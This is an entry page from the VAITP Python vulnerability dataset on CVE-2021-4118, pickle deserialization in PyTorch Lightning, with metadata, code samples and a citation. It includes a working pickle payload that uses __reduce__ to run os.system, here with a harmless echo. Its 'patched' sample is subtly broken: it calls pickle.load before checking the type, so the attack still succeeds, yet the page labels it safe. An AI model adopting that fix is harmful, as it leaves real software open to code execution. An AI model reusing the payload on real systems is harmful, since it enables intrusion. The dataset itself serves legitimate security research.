VAITP Dataset

← Back to the dataset

CVE-2021-4118

PyTorch Lightning: Untrusted Data Deserialization Vulnerability

  • CVSS 7.8
  • CWE-502 Deserialization of Untrusted Data
  • Input Validation and Sanitization
  • Remote

pytorch-lightning is vulnerable to Deserialization of Untrusted Data

CVSS base score
7.8
Published
2021-12-23
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
PyTorch
Fixed by upgrading
Yes

Solution

Update PyTorch Lightning to version 1.6.0 or higher.

Vulnerable code sample

import pickle

# Vulnerable deserialization function
def load_model(file_path):
    with open(file_path, 'rb') as f:
        # Unsafe deserialization
        return pickle.load(f)

# Example usage
model = load_model('model.pkl')

Patched code sample

import pickle

# Safe deserialization function
def safe_load_model(file_path):
    # Use a restricted set of classes to avoid deserialization of untrusted data
    allowed_classes = (MyModelClass, AnotherSafeClass)  # Define your safe classes here
    with open(file_path, 'rb') as f:
        data = pickle.load(f)
        if not isinstance(data, allowed_classes):
            raise ValueError("Deserialization of untrusted data detected!")
        return data

# Example usage
model = safe_load_model('model.pkl')

Published fix

Public sources link this CVE to the changes below. The code samples above were generated to illustrate the defect; these links lead to the code the project actually changed.

Payload

#malicious_payload.py
import pickle
import os

class Exploit:
    def __reduce__(self):
        # When deserialized, this returns a callable (os.system) and its arguments.
        # For demonstration, it executes a simple echo command.
        return (os.system, ('echo "Exploited CVE-2021-4118 demonstration"',))

# Serialize the malicious object into a file.
with open('malicious.pkl', 'wb') as f:
    pickle.dump(Exploit(), f)

Cite this entry

@misc{vaitp:cve20214118,
  title        = {{PyTorch Lightning: Untrusted Data Deserialization Vulnerability}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2021},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2021-4118},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2021-4118/}}
}

Download this entry as JSON Download the whole dataset

Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::

Before you use the VAITP AI models

Please read and accept the following disclaimer:

By choosing "I understand and accept", you acknowledge that you understand and agree to these terms.